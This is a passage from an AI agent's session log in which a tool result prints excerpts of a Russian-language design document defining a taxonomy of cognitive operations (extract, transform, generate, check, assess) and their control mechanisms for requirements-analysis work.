\u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u0430 | `G1` \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f + `G5` \u043f\u0440\u0438 \u043d\u0435\u043e\u0431\u0440\u0430\u0442\u0438\u043c\u043e\u0441\u0442\u0438 \u0432\u044b\u0431\u043e\u0440\u0430 | \u043d\u0435\u043c\u043e\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0432\u044b\u0431\u043e\u0440 |\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u043f\u044f\u0442\u044c, \u0430 \u043d\u0435 \u0431\u043e\u043b\u044c\u0448\u0435.** \u041a\u043b\u0430\u0441\u0441 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u043f\u0435\u0440\u0435\u0447\u0435\u043d\u044c, \u0442\u043e\u043b\u044c\u043a\u043e \u0435\u0441\u043b\u0438 \u043e\u043d\\n\u043c\u0435\u043d\u044f\u0435\u0442 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f. `transform` \u0438 `extract` \u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u044b, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e\\n\u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0441\u0432\u0435\u0440\u043a\u043e\u0439 \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c, \u0430 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u0441\u0445\u0435\u043c\u043e\u0439.\\n`check` \u0438 `assess` \u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u044b, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0432\u0435\u0440\u0434\u0438\u043a\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043d\u0430\\n\u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c, \u0430 \u0432\u044b\u0431\u043e\u0440 \u2014 \u043d\u0430 \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u043d\u043e\u0441\u0442\u044c. \u041a\u043b\u0430\u0441\u0441, \u043d\u0435 \u043c\u0435\u043d\u044f\u044e\u0449\u0438\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443, \u0432\\n\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044e \u043d\u0435 \u0432\u043d\u043e\u0441\u0438\u0442\u0441\u044f (Anti-Inflation).\\n\\n## 4. \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438\\n\\n\u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0430 \u0448\u0435\u0441\u0442\u0451\u0440\u043a\u043e\u0439 \u043f\u043e\u043b\u0435\u0439. \u041e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u043b\u044e\u0431\u043e\u0433\u043e \u043f\u043e\u043b\u044f \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e\\n\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u043d\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0430 \u0438 \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0432\u044b\u0437\u0432\u0430\u043d\u0430.\\n\\n\u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432; \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u043d\u0435 \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442\u0441\u044f (`LG-1`,\\n[ADR-014](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md)).\\n\\n**\u0427\u0442\u043e \u0432\u0438\u0434\u043d\u043e \u0438\u0437 \u0440\u0435\u0435\u0441\u0442\u0440\u0430.** \u041d\u0438 \u043e\u0434\u043d\u043e \u043f\u0440\u0435\u0436\u043d\u0435\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043d\u0435 \u0443\u0434\u0430\u043b\u0435\u043d\u043e \u0431\u0435\u0437 \u0437\u0430\u043c\u0435\u043d\u044b, \u0438 \u043d\u0438\\n\u043e\u0434\u043d\u043e \u043d\u0435 \u043f\u0435\u0440\u0435\u043d\u0435\u0441\u0435\u043d\u043e \u0446\u0435\u043b\u0438\u043a\u043e\u043c: \u0447\u0435\u0442\u044b\u0440\u0435 \u0438\u0437 \u0442\u0440\u0438\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u043f\u0440\u0438\u0448\u043b\u043e\u0441\u044c \u0440\u0430\u0437\u0434\u0435\u043b\u0438\u0442\u044c, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e\\n\u043e\u043d\u0438 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u044f\u043b\u0438 \u0440\u0430\u0437\u043d\u044b\u0435 \u0442\u0438\u043f\u044b \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b. \u042d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u0434\u0435\u0444\u0435\u043a\u0442\\n`D4`, \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u043d\u044b\u0439 \u043a\u0430\u043a \u0440\u0435\u0448\u0435\u043d\u0438\u0435.\\n\\n## 6. \u0413\u0440\u0430\u043d\u0438\u0446\u044b\\n\\n- \u041a\u0430\u0442\u0430\u043b\u043e\u0433 \u043f\u043e\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443 \u0441 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f\u043c\u0438. \u0420\u0430\u0431\u043e\u0442\u0430 \u043f\u043e \u043f\u043b\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e \u0430\u043d\u0430\u043b\u0438\u0437\u0430\",\n[2026-09-29T07:47:05.232Z] [INFO]         \"is_error\": false\n[2026-09-29T07:47:05.232Z] [INFO]       }\n[2026-09-29T07:47:05.232Z] [INFO]     ]\n[2026-09-29T07:47:05.232Z] [INFO]   },\n[2026-09-29T07:47:05.232Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:47:05.232Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:05.232Z] [INFO]   \"uuid\": \"411ac8a3-e0e9-429c-a144-50ed5ee0231d\",\n[2026-09-29T07:47:05.232Z] [INFO]   \"timestamp\": \"2026-09-29T07:47:05.222Z\",\n[2026-09-29T07:47:05.232Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:47:05.232Z] [INFO]     \"stdout\": \"## BLUF\\n\\n1. \u041f\u0440\u0435\u0436\u043d\u0438\u0439 \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0438\u0437 \u0442\u0440\u0438\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u00ab\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439\u00bb \u2014 \u043d\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438, \u0430 **\u043a\u043b\u0430\u0441\u0441\u044b \u0440\u0430\u0431\u043e\u0442\u044b**:\\n   \u0441\u0435\u043c\u044c \u0438\u0437 \u0442\u0440\u0438\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u044f\u0442 \u0431\u043e\u043b\u0435\u0435 \u043e\u0434\u043d\u043e\u0433\u043e \u043a\u043b\u0430\u0441\u0441\u0430 \u0432\u044b\u0445\u043e\u0434\u0430, \u0432\u043e\u0441\u0435\u043c\u044c \u0438\u0437\\n   \u0442\u0440\u0438\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u044f\u044e\u0442 \u0440\u0430\u0437\u043d\u043e\u0440\u043e\u0434\u043d\u044b\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u0432 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u043c \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0438\\n   (`D3`, `D4`,\\n   [\u0444\u0430\u043a\u0442\u044b](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-10-process-taxonomy-defects-facts.md)).\\n2. \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0437\u0434\u0435\u0441\u044c \u2014 **\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0435, \u043d\u043e \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u043e\u0435 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0435\\n   \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435** \u0441\u043e \u0441\u0442\u0440\u043e\u0433\u0438\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c \u0432\u0445\u043e\u0434\u0430 \u0438 \u0432\u044b\u0445\u043e\u0434\u0430, \u043a\u0430\u043a \u0442\u0440\u0435\u0431\u0443\u0435\u0442 issue #571:\\n   \u00ab\u0418\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439\u00bb, \u00ab\u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043d\u0430 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0441\u0442\u044c\u00bb, \u0430 \u043d\u0435 \u00ab\u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c\u00bb \u0438 \u043d\u0435\\n   \u00ab\u043d\u0430\u0436\u0430\u0442\u044c\u00bb.\\n3. \u0410\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0441\u0442\u044c \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u0430 \u0448\u0435\u0441\u0442\u044c\u044e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u043c\u0438 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u044f\u043c\u0438 `OA-1`\u2013`OA-6`, \u0430 \u043d\u0435\\n   \u043e\u0449\u0443\u0449\u0435\u043d\u0438\u0435\u043c \u0440\u0430\u0437\u043c\u0435\u0440\u0430. \u041a\u043b\u044e\u0447\u0435\u0432\u044b\u0435: \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u0438\u043d \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0432\u044b\u0445\u043e\u0434\u0430, \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435\\n   \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u044f, \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u0438\u043d \u0442\u0438\u043f \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b.\\n4. \u0412\u0441\u0451, \u0447\u0442\u043e \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u0438\u043b\u0438 \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u044f, \u2014 **\u043d\u0430\u0432\u044b\u043a (\u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441)**\\n   \u0438\u043b\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u0430 \u043d\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f. \u0420\u0430\u0437\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043e \u043c\u0430\u0448\u0438\u043d\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u043c\\n   \u0442\u0435\u0441\u0442\u043e\u043c \u0443\u0440\u043e\u0432\u043d\u044f.\\n5. \u0421\u043b\u043e\u0432\u0430\u0440\u044c **\u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0439**: 31 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0432 \u043f\u044f\u0442\u0438 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u0430\u0445 \u2014 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435,\\n   \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0435, \u043f\u043e\u0440\u043e\u0436\u0434\u0435\u043d\u0438\u0435, \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430, \u043e\u0446\u0435\u043d\u043a\u0430 \u0438 \u0432\u044b\u0431\u043e\u0440. \u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0432\u043d\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f\\n   \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f, \u0430 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0437\u0430\u0434\u0430\u0447\u0443 \u043d\u0430 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 (`T-2`).\\n6. \u041a\u0430\u0436\u0434\u044b\u0439 \u0438\u0437 **33 \u043d\u0430\u0432\u044b\u043a\u043e\u0432** \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0440\u0430\u0437\u043b\u043e\u0436\u0435\u043d \u043d\u0430 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u044d\u0442\u043e\u0433\u043e\\n   \u0441\u043b\u043e\u0432\u0430\u0440\u044f. \u041d\u0430\u0432\u044b\u043a \u0431\u0435\u0437 \u0440\u0430\u0437\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u043d\u0435 \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u044b\u043c (`EX-4`).\\n7. \u041a\u043b\u0430\u0441\u0441 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442, \u043a\u0430\u043a\u0438\u043c \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043e\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f:\\n   \u043f\u043e\u0440\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u0438 \u043e\u0446\u0435\u043d\u043a\u0430 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u044e\u0442\u0441\u044f \u0441\u0445\u0435\u043c\u043e\u0439, \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0438 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0435\\n   \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u044e\u0442\u0441\u044f.\\n8. \u041c\u0438\u043a\u0440\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f (\u00ab\u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u00bb, \u00ab\u0432\u044b\u0437\u0432\u0430\u0442\u044c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u00bb) \u0438\u0437 \u0441\u043b\u043e\u0432\u0430\u0440\u044f\\n## 3. \u041f\u044f\u0442\u044c \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u043e\u0432\\n\\n\u041a\u043b\u0430\u0441\u0441\u044b \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f \u043d\u0435 \u043f\u0440\u0435\u0434\u043c\u0435\u0442\u043e\u043c, \u0430 **\u0442\u0438\u043f\u043e\u043c \u0440\u0430\u0431\u043e\u0442\u044b \u043d\u0430\u0434 \u0441\u043c\u044b\u0441\u043b\u043e\u043c** \u2014 \u0442\u0435\u043c, \u043e\u0442\u043a\u0443\u0434\u0430\\n\u0431\u0435\u0440\u0451\u0442\u0441\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u0432 \u0432\u044b\u0445\u043e\u0434\u0435. \u042d\u0442\u043e \u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442 \u043f\u0440\u0438\u0433\u043e\u0434\u043d\u044b\u0439 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f.\\n\\n| \u041a\u043b\u0430\u0441\u0441 | \u041e\u0442\u043a\u0443\u0434\u0430 \u0431\u0435\u0440\u0451\u0442\u0441\u044f \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u0432\u044b\u0445\u043e\u0434\u0430 | \u041c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e | \u0420\u0438\u0441\u043a |\\n| --- | --- | --- | --- |\\n| `extract` \u2014 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 | \u0446\u0435\u043b\u0438\u043a\u043e\u043c \u0438\u0437 \u0432\u0445\u043e\u0434\u0430; \u043d\u043e\u0432\u043e\u0433\u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u044f \u043d\u0435 \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f | `G6` \u0432\u043d\u0435\u0448\u043d\u044f\u044f \u0441\u0432\u0435\u0440\u043a\u0430 \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c | \u043f\u0440\u043e\u043f\u0443\u0441\u043a \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u0430 |\\n| `transform` \u2014 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0435 | \u0438\u0437 \u0432\u0445\u043e\u0434\u0430, \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0444\u043e\u0440\u043c\u0430 \u0438\u043b\u0438 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430, \u043d\u0435 \u0441\u043c\u044b\u0441\u043b | `G2` \u0441\u0445\u0435\u043c\u0430 \u0432\u044b\u0445\u043e\u0434\u0430 | \u043f\u043e\u0442\u0435\u0440\u044f \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u0430 \u043f\u0440\u0438 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0435 |\\n| `generate` \u2014 \u043f\u043e\u0440\u043e\u0436\u0434\u0435\u043d\u0438\u0435 | \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u043e\u0432\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435, \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0432\u043e \u0432\u0445\u043e\u0434\u0435 \u043d\u0435 \u0431\u044b\u043b\u043e | `G6` \u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430, `G5` \u043f\u0440\u0438 \u0432\u044b\u0445\u043e\u0434\u0435 \u0432\u043e\u0432\u043d\u0435 | \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0430\u0446\u0438\u044f |\\n| `check` \u2014 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 | \u0441\u0443\u0436\u0434\u0435\u043d\u0438\u0435 \u043e \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0438 \u0432\u0445\u043e\u0434\u0430 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u044e | `G2` \u0441\u0445\u0435\u043c\u0430 \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u0430 + `G6` \u0434\u043b\u044f \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0435\u0432, \u0432\u044b\u0440\u0430\u0437\u0438\u043c\u044b\u0445 \u043a\u043e\u0434\u043e\u043c | \u043b\u043e\u0436\u043d\u043e\u0435 \u00ab\u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442\u00bb |\\n| `assess` \u2014 \u043e\u0446\u0435\u043d\u043a\u0430 \u0438 \u0432\u044b\u0431\u043e\u0440 | \u0443\u043f\u043e\u0440\u044f\u0434\u043e\u0447\u0435\u043d\u0438\u0435 \u0438\u043b\u0438 \u0432\u044b\u0431\u043e\u0440 \u0438\u0437 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u0430 | `G1` \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f + `G5` \u043f\u0440\u0438 \u043d\u0435\u043e\u0431\u0440\u0430\u0442\u0438\u043c\u043e\u0441\u0442\u0438 \u0432\u044b\u0431\u043e\u0440\u0430 | \u043d\u0435\u043c\u043e\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0432\u044b\u0431\u043e\u0440 |\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u043f\u044f\u0442\u044c, \u0430 \u043d\u0435 \u0431\u043e\u043b\u044c\u0448\u0435.** \u041a\u043b\u0430\u0441\u0441 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u043f\u0435\u0440\u0435\u0447\u0435\u043d\u044c, \u0442\u043e\u043b\u044c\u043a\u043e \u0435\u0441\u043b\u0438 \u043e\u043d\\n\u043c\u0435\u043d\u044f\u0435\u0442 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f. `transform` \u0438 `extract` \u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u044b, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e\\n\u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0441\u0432\u0435\u0440\u043a\u043e\u0439 \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c, \u0430 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u0441\u0445\u0435\u043c\u043e\u0439.\\n`check` \u0438 `assess` \u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u044b, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0432\u0435\u0440\u0434\u0438\u043a\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043d\u0430\\n\u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c, \u0430 \u0432\u044b\u0431\u043e\u0440 \u2014 \u043d\u0430 \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u043d\u043e\u0441\u0442\u044c. \u041a\u043b\u0430\u0441\u0441, \u043d\u0435 \u043c\u0435\u043d\u044f\u044e\u0449\u0438\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443, \u0432\\n\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044e \u043d\u0435 \u0432\u043d\u043e\u0441\u0438\u0442\u0441\u044f (Anti-Inflation).\\n\\n## 4. \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438\\n\\n\u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0430 \u0448\u0435\u0441\u0442\u0451\u0440\u043a\u043e\u0439 \u043f\u043e\u043b\u0435\u0439. \u041e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u043b\u044e\u0431\u043e\u0433\u043e \u043f\u043e\u043b\u044f \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e\\n\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u043d\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0430 \u0438 \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0432\u044b\u0437\u0432\u0430\u043d\u0430.\\n\\n\u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432; \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u043d\u0435 \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442\u0441\u044f (`LG-1`,\\n[ADR-014](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md)).\\n\\n**\u0427\u0442\u043e \u0432\u0438\u0434\u043d\u043e \u0438\u0437 \u0440\u0435\u0435\u0441\u0442\u0440\u0430.** \u041d\u0438 \u043e\u0434\u043d\u043e \u043f\u0440\u0435\u0436\u043d\u0435\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043d\u0435 \u0443\u0434\u0430\u043b\u0435\u043d\u043e \u0431\u0435\u0437 \u0437\u0430\u043c\u0435\u043d\u044b, \u0438 \u043d\u0438\\n\u043e\u0434\u043d\u043e \u043d\u0435 \u043f\u0435\u0440\u0435\u043d\u0435\u0441\u0435\u043d\u043e \u0446\u0435\u043b\u0438\u043a\u043e\u043c: \u0447\u0435\u0442\u044b\u0440\u0435 \u0438\u0437 \u0442\u0440\u0438\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u043f\u0440\u0438\u0448\u043b\u043e\u0441\u044c \u0440\u0430\u0437\u0434\u0435\u043b\u0438\u0442\u044c, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e\\n\u043e\u043d\u0438 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u044f\u043b\u0438 \u0440\u0430\u0437\u043d\u044b\u0435 \u0442\u0438\u043f\u044b \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b. \u042d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u0434\u0435\u0444\u0435\u043a\u0442\\n`D4`, \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u043d\u044b\u0439 \u043a\u0430\u043a \u0440\u0435\u0448\u0435\u043d\u0438\u0435.\\n\\n## 6. \u0413\u0440\u0430\u043d\u0438\u0446\u044b\\n\\n- \u041a\u0430\u0442\u0430\u043b\u043e\u0433 \u043f\u043e\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443 \u0441 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f\u043c\u0438. \u0420\u0430\u0431\u043e\u0442\u0430 \u043f\u043e \u043f\u043b\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e \u0430\u043d\u0430\u043b\u0438\u0437\u0430\",\n[2026-09-29T07:47:05.232Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:47:05.232Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:47:05.232Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:47:05.232Z] 